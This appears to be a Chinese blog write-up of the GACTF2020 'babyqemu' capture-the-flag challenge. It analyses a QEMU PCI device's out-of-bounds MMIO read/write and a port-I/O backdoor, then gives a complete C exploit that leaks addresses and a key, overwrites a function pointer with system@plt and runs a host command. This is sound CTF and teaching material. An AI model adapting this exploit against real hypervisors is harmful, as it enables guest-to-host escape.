GACTF2020 babyqemu

本文介绍了在Ubuntu18.04环境下进行环境配置时遇到的问题,着重剖析了denc_mmio_read和denc_mmio_write的越界读写漏洞以及denc_pmio_write的后门,同时提供了一个简单的exploit示例,展示了如何利用这些漏洞获取关键信息和执行代码。
摘要由CSDN通过智能技术生成

环境搭建

首先下载题目附件。由于利用方法不受环境影响,没有用 docker 环境。
在 ubuntu18.04 上运行缺少 libncursesw.so.6 ,需要安装 libncursesw6

sudo apt install libncursesw6

虚拟机密码为 root

漏洞分析 & 利用

设备相关的符号被去除。可以通过搜索 denc-mmio 定位到相关函数。

存在一处花指令,直接去除。

.text:00000000003AA140 E8 00 00 00 00                call    $+5
.text:00000000003AA140
.text:00000000003AA145 83 04 24 05                   add     dword ptr [rsp], 5
.text:00000000003AA149 C3                            retn

denc_mmio_writedenc_mmio_read 存在越界读写,另外 key 也可以泄露,qemu 地址可以越界读出。

/*
00000000 DencState struc ; (sizeof=0xB48, mappedto_112)
00000000 field_0 db 2808 dup(?)
00000AF8 key db 32 dup(?)
00000B18 field_B18 db 8 dup(?)
00000B20 buf dd 8 dup(?)
00000B40 fun dq ?                                ; offset
00000B48 DencState ends
*/

unsigned __int64 __fastcall denc_mmio_read(DencState *opaque, unsigned __int64 addr, int size)
{
  unsigned __int64 result; // rax

  if ( size != 4 )
    return -1LL;
  result = addr & 3;
  if ( (addr & 3) != 0 )
    return -1LL;
  if ( addr <= 0x24 )
    return opaque->buf[addr >> 2];
  return result;
}

unsigned __int64 __fastcall denc_mmio_write(DencState *opaque, unsigned __int64 addr, unsigned int val, int size)
{
  unsigned __int64 result; // rax

  result = (unsigned __int64)opaque;
  if ( size == 4 )
  {
    result = addr & 3;
    if ( (addr & 3) == 0 && addr <= 0x24 )
    {
      result = val ^ *(_DWORD *)&opaque->key[addr];
      opaque->buf[addr >> 2] = result;
    }
  }
  return result;
}

denc_pmio_write 存在后门。

__int64 __fastcall denc_pmio_write(DencState *opaque, unsigned __int64 addr, unsigned int val, int size)
{
  __int64 result; // rax

  result = (__int64)opaque;
  if ( size == 4 )
  {
    result = addr & 3;
    if ( (addr & 3) == 0 )
    {
      if ( addr <= 7 )
      {
        result = val ^ *(_DWORD *)&opaque->key[4 * addr];
        opaque->buf[addr] = result;
      }
      if ( addr == 0x660 )
        return opaque->fun(opaque->buf, 0LL, 0LL);
    }
  }
  return result;
}

exp

#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/io.h>

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void *mmio_mem;

void mmio_write(uint32_t offset, uint32_t value) {
    *((uint32_t *) mmio_mem + offset) = value;
}

uint32_t mmio_read(uint32_t offset) {
    return *((uint32_t *) mmio_mem + offset);
}

void mmio_init() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        perror("[-] failed to open mmio.🤔");
        exit(EXIT_FAILURE);
    }
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        perror("[-] failed to mmap mmio.");
        exit(EXIT_FAILURE);
    }
    if (mlock(mmio_mem, 0x1000) == -1) {
        perror("[-] failed to mlock mmio_mem.");
        exit(EXIT_FAILURE);
    }
}

uint32_t pmio_mem;

void pmio_write(uint32_t offset, uint32_t value) {
    outl(value, pmio_mem + offset);
}

uint32_t pmio_read(uint32_t offset) {
    return inl(pmio_mem + offset);
}

void pmio_init() {
    if (iopl(3) == -1) {
        perror("[-] iopl failed.");
        exit(EXIT_FAILURE);
    }
    FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
    fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
    printf("[*] pmio_mem: %p\n", pmio_mem);
}

char cmd[0x20] = "cat flag; xcalc";

int main() {
    mmio_init();
    pmio_init();

    size_t leak_addr = mmio_read(8) | (1ll * mmio_read(9) << 32);
    printf("[+] leak addr: %p\n", leak_addr);
    size_t elf_base = leak_addr - 0x3a9ea8;
    printf("[*] elf base: %p\n", elf_base);
    size_t system_plt = elf_base + 0x2ccb60;
    printf("[*] system@plt addr: %p\n", system_plt);

    uint32_t key[10];
    for (int i = 0; i < 10; i++) {
        mmio_write(i, 0);
        key[i] = mmio_read(i);
    }
    qword_dump("leak key", key, sizeof(key));

    for (int i = 0; i < strlen(cmd); i += 4) {
        mmio_write(i / 4, (*(uint32_t *) &cmd[i]) ^ key[i / 4]);
    }

    mmio_write(8, (system_plt & 0xFFFFFFFF) ^ key[8]);
    mmio_write(9, (system_plt >> 32) ^ key[9]);

    pmio_write(0x660, 0x114514);

    return 0;
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值